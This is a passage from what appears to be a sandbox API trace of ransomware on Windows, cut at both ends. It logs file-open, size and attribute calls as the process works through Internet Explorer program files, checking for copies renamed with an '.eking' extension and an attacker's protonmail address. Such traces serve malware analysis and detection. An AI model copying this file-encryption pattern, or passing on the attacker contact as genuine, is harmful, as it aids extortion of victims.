(lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.946] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5120) returned 1 [0183.946] CloseHandle (hObject=0x1e0) returned 1 [0183.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0183.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0183.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.947] SetEvent (hEvent=0x174) returned 1 [0183.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.947] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11776) returned 1 [0183.948] CloseHandle (hObject=0x1e0) returned 1 [0183.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui")) returned 0x20 [0183.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui")) returned 0x20 [0183.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.950] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2048) returned 1 [0183.950] CloseHandle (hObject=0x1e0) returned 1 [0183.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui")) returned 0x20 [0183.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui")) returned 0x20 [0183.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.951] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2048) returned 1 [0183.952] CloseHandle (hObject=0x1e0) returned 1 [0183.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui")) returned 0x20 [0183.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui")) returned 0x20 [0183.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.954] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7168) returned 1 [0183.954] CloseHandle (hObject=0x1e0) returned 1 [0183.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui")) returned 0x20 [0183.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui")) returned 0x20 [0183.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.954] SetEvent (hEvent=0x174) returned 1 [0183.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\far.exe" (normalized: "c:\\program files\\internet explorer\\far.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.956] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0183.956] CloseHandle (hObject=0x1e0) returned 1 [0183.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\far.exe" (normalized: "c:\\program files\\internet explorer\\far.exe")) returned 0x20 [0183.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\far.exe" (normalized: "c:\\program files\\internet explorer\\far.exe")) returned 0x20 [0183.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\far.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\far.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\far.exe" (normalized: "c:\\program files\\internet explorer\\far.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.956] SetEvent (hEvent=0x174) returned 1 [0183.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.958] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=52736) returned 1 [0183.958] CloseHandle (hObject=0x1e0) returned 1 [0183.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0183.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0183.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.958] SetEvent (hEvent=0x174) returned 1 [0183.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.959] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2649) returned 1 [0183.959] CloseHandle (hObject=0x1e0) returned 1 [0183.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc")) returned 0x20 [0183.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc")) returned 0x20 [0183.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.960] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7680) returned 1 [0183.960] CloseHandle (hObject=0x1e0) returned 1 [0183.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll")) returned 0x20 [0183.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll")) returned 0x20 [0183.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\iecompat.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.962] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1013248) returned 1 [0183.962] CloseHandle (hObject=0x1e0) returned 1 [0183.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll")) returned 0x20 [0183.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll")) returned 0x20 [0183.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.964] SetEvent (hEvent=0x174) returned 1 [0183.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.965] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=269824) returned 1 [0183.965] CloseHandle (hObject=0x1e0) returned 1 [0183.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0183.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0183.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.966] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=115712) returned 1 [0183.966] CloseHandle (hObject=0x1e0) returned 1 [0183.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0183.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0183.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.967] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=451072) returned 1 [0183.967] CloseHandle (hObject=0x1e0) returned 1 [0183.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")) returned 0x20 [0183.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")) returned 0x20 [0183.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.168] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=293376) returned 1 [0184.168] CloseHandle (hObject=0x1e0) returned 1 [0184.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0184.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0184.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.174] SetEvent (hEvent=0x174) returned 1 [0184.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.175] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=505344) returned 1 [0184.176] CloseHandle (hObject=0x1e0) returned 1 [0184.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll")) returned 0x20 [0184.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll")) returned 0x20 [0184.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.177] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=144896) returned 1 [0184.177] CloseHandle (hObject=0x1e0) returned 1 [0184.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll")) returned 0x20 [0184.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll")) returned 0x20 [0184.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.180] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=132096) returned 1 [0184.180] CloseHandle (hObject=0x1e0) returned 1 [0184.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll")) returned 0x20 [0184.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll")) returned 0x20 [0184.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.180] SetEvent (hEvent=0x174) returned 1 [0184.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.181] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=287744) returned 1 [0184.181] CloseHandle (hObject=0x1e0) returned 1 [0184.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" 